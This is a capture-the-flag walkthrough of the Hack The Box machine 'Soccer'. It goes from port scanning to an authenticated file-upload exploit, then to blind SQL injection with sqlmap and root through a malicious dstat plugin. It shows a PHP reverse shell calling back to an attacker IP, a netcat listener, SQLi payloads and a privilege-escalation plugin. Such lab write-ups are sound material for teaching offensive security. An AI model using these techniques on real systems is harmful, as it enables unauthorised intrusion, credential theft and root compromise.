
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.129.235.116 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.235.116 -v -oN nmap_tcp_all
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Mon, 01 Sep 2025 02:43:05 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Mon, 01 Sep 2025 02:43:08 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
| </html>
| RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Mon, 01 Sep 2025 02:43:10 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
<SNIP>
Running an Nmap scan against the target shows three open TCP ports. Two of these are the usual suspects: SSH and Nginx, both operating on their standard ports. The third open port is 9091, which is linked to a service that isn’t immediately identified.
HTTP
When we browse to http://10.129.235.115
, the request automatically redirects to soccer.htb
. To resolve this properly, we’ll need to add soccer.htb
to our /etc/hosts
file.

echo 10.129.235.115 soccer.htb" | sudo tee -a /etc/hosts
At first glance, the web application looks like a simple static page with no interactive features. To dig a bit deeper, we run a directory scan with ffuf
to see if there are any hidden or unlinked files and folders that might be of interest.

┌──(kali㉿kali)-[~/Soccer]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u 'http://soccer.htb/FUZZ'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://soccer.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
tiny [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 465ms]
:: Progress: [21634/87650] :: Job [1/1] :: 13 req/sec :: Duration: [0:03:40] :: Errors: 0 ::a
During enumeration we discover a /tiny
directory. Visiting this path reveals a login page for Tiny File Manager, a lightweight web-based file management tool.

A quick Google search for “Tiny File Manager exploit” brings up an Authenticated Remote Code Execution (RCE) exploit for version 2.4.3. The public PoC shows default credentials of admin:admin@123
, which we try and confirm are valid, giving us access.
From the interface we can see the application is running Tiny File Manager 2.4.3. Versions up to and including 2.4.6 are vulnerable to CVE-2021-45010
, which lets an authenticated attacker upload a malicious PHP file directly into the webroot. This in turn can be used to execute arbitrary commands on the target server.

The tiny
folder contains an uploads
directory where we have write permissions.

Knowing this, we go ahead and upload a PHP reverse shell. We configure it to call back to our attacker machine by setting our own IP address and a chosen listening port. Once uploaded, we just need to trigger the file to establish a reverse connection.
<SNIP>
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.141'; // CHANGE THIS
$port = 8443; // CHANGE THIS
<SNIP>
To stop other users on the lab from spotting and abusing our shell, we rename it to a less obvious filename: d41d8cd98f00b204e9800998ecf8427e.php
. This looks like a random hash and helps reduce the chance of anyone else interfering with our session.

We prepare our attack machine by starting a listener on port 8443 to catch the incoming connection. The reverse shell can then be triggered either by clicking the direct link icon in Tiny File Manager or by manually browsing to:
/tiny/uploads/<filename>.php
└─$ nc -nvlp 8443
listening on [any] 8443 ...
connect to [10.10.16.141] from (UNKNOWN) [10.129.235.115] 56958
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
03:34:46 up 54 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We now have a working reverse shell, running under the web server account www-data
. Since this type of shell is quite limited, the next step is to upgrade it into a fully interactive shell so we can use commands more comfortably. We can do this by running:
python3 -c 'import pty; pty.spawn("/bin/bash")'
This gives us a proper interactive bash shell inside the target.
Foothold
HTTP
Checking the system as the www-data
user doesn’t reveal anything useful at first. There is no obvious files or privilege escalation vectors. However, since the web service is running on Nginx, it’s worth looking into the configuration files. In particular, the sites-enabled
directory often contains virtual host definitions, which can point to additional subdomains or web routes that might not have shown up in our initial scans.
ls -al /etc/nginx/sites-enabled
total 8
drwxr-xr-x 2 root root 4096 Dec 1 2022 .
drwxr-xr-x 8 root root 4096 Nov 17 2022 ..
lrwxrwxrwx 1 root root 34 Nov 17 2022 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17 2022 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
After spotting a new subdomain in the Nginx configuration, we add it to our /etc/hosts
file so it resolves correctly. With that in place, we can point our browser to the subdomain and explore what it’s hosting.
echo "10.129.235.116 soc-player.soccer.htb" | sudo tee -a /etc/hosts

The subdomain looks much like the original static landing page, but this time there are extra features such as Login and Signup buttons. Common admin credentials don’t work here, so instead we register a fresh account. Logging in with this new user gives us access to an additional endpoint at /check
.

On this page we’re given a ticket ID, along with a form to check whether a ticket is valid. Inspecting the site’s source code shows that this feature communicates with a WebSocket server running on port 9091 which is the same service we spotted earlier during our initial port scan.
<script>
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
<SNIP>
</script>
To better understand how the service works, we capture a request in BurpSuite and send it to the Repeater for testing. By tweaking the input, we notice that adding mathematical expressions doesn’t change the outcome - the application still decides validity in the same way. This suggests the site is likely taking the submitted value and directly comparing it against a backend database.
To test this theory, we inject a simple SQL boolean payload:
' OR 1=1--
The response shows the ticket as valid, confirming our suspicion that the page is vulnerable to SQL injection (SQLi).


Blind SQLi
This flaw is a case of blind SQL injection. In this situation, we can influence the SQL logic behind the scenes, but we don’t directly see the results of our queries. Instead, we rely on indirect clues, such as how the server responds differently to certain inputs, to piece together information from the database.
Manually testing this can be slow and tricky, so we turn to sqlmap, which is able to automate blind SQLi attacks. Conveniently, sqlmap can also talk directly to the WebSocket service running on port 9091, saving us a lot of manual effort.
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch
<SNIP>
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
<SNIP>
After running for a few minutes, sqlmap is able to enumerate the available databases. Among them, the one that stands out is called soccer_db
. From here, we can narrow our focus to this database by specifying it with the -D
flag, and then extract its contents using the --dump
option. This allows us to pull out tables and records for closer inspection.
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads 10 -D soccer_db --dump --batch
<SNIP>
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
Dumping the database gives us a set of credentials:
player:PlayerOftheMatch2022
└─$ ssh player@10.129.235.116
The authenticity of host '10.129.235.116 (10.129.235.116)' can't be established.
ED25519 key fingerprint is SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.235.116' (ED25519) to the list of known hosts.
player@10.129.235.116's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Sep 1 05:50:35 UTC 2025
System load: 0.0
Usage of /: 70.1% of 3.84GB
Memory usage: 21%
Swap usage: 0%
Processes: 232
Users logged in: 0
IPv4 address for eth0: 10.129.235.116
IPv6 address for eth0: dead:beef::250:56ff:fe95:470f
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
Once logged in as the player user, we navigate to /home/player/
and retrieve the user flag from the user.txt
file.
Privilege Escalation
SUID (setuid) is a Unix security feature that lets executables run with the permissions of the file’s owner, rather than the user running the command. This is handy for programs that need elevated privileges to interact with system resources for example, modifying system settings or accessing files owned by other users.
At the same time, it can create serious security risks. If an SUID-enabled binary is misconfigured or contains flaws, an attacker may be able to exploit it to gain higher privileges on the system.
While searching for SUID files, we find /usr/bin/doas
. This utility works in a similar way to the more common sudo
command, providing a mechanism for executing commands as another user (often root).
player@soccer:~$ find / -type f -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
Looking into doas, we find that its configuration is stored in /usr/local/etc/doas.conf
. Checking this file shows that the player user is allowed to run the dstat
command with elevated privileges. Since the dstat
binary is owned by root, this effectively lets us run it as root.
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
Dstat is a monitoring tool that reports on system resource usage, such as CPU, memory, disk, and network statistics. Reading through its manual, we notice something particularly useful for us: it supports the use of Python-based plugins.
This is important because if we can load our own plugin, we may be able to execute arbitrary Python code under the elevated privileges that doas
grants us.
player@soccer:~$ man dstat
<SNIP>
FILES
Paths that may contain external dstat_*.py plugins:
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
<SNIP>
If we can run Python code as root through a dstat plugin, we can escalate straight to a root shell. While dstat only loads plugins from specific directories, we confirm that one of them /usr/local/share/dstat/
is writable by our player user. This gives us the perfect spot to drop a malicious plugin.
player@soccer:~$ ls -ld /usr/local/share/dstat
drwxrwx--- 2 root player 4096 Dec 12 2022 /usr/local/share/dstat
We craft a simple Python script that spawns a bash shell, and save it into /usr/local/share/dstat/
. According to the dstat manual, all plugins must be named with the dstat_
prefix, so we make sure to follow that convention when naming our file.
player@soccer:~$ echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_hack.py
To check that our malicious plugin has been picked up, we run dstat --list
. This command displays all available plugins, and if our file shows up in the list, it means dstat has successfully recognised it.
player@soccer:~$ doas /usr/bin/dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,socket,swap,swap-old,sys,
tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,dstat-ctxt,dstat-mem,fan,freespace,
fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,
mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,
nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,
snmp-sys,snooze,squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,top-io-adv,top-latency,
top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,zfs-zil
/usr/local/share/dstat:
hack
With our plugin confirmed, we now launch dstat
and explicitly load it by passing its name as a command-line argument, using the --
prefix. When executed, the plugin runs our Python payload, spawning a shell with root privileges.
player@soccer:~$ doas /usr/bin/dstat --hack
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
root@soccer:/home/player# id
uid=0(root) gid=0(root) groups=0(root)
Our malicious plugin runs as expected, and the payload drops us into a shell with root privileges. From here we navigate to /root/
and capture the final flag from the root.txt
file.
References
- HTB Official Walkthrough for Soccer
- https://0xdf.gitlab.io/2023/06/10/htb-soccer.html#shell-as-root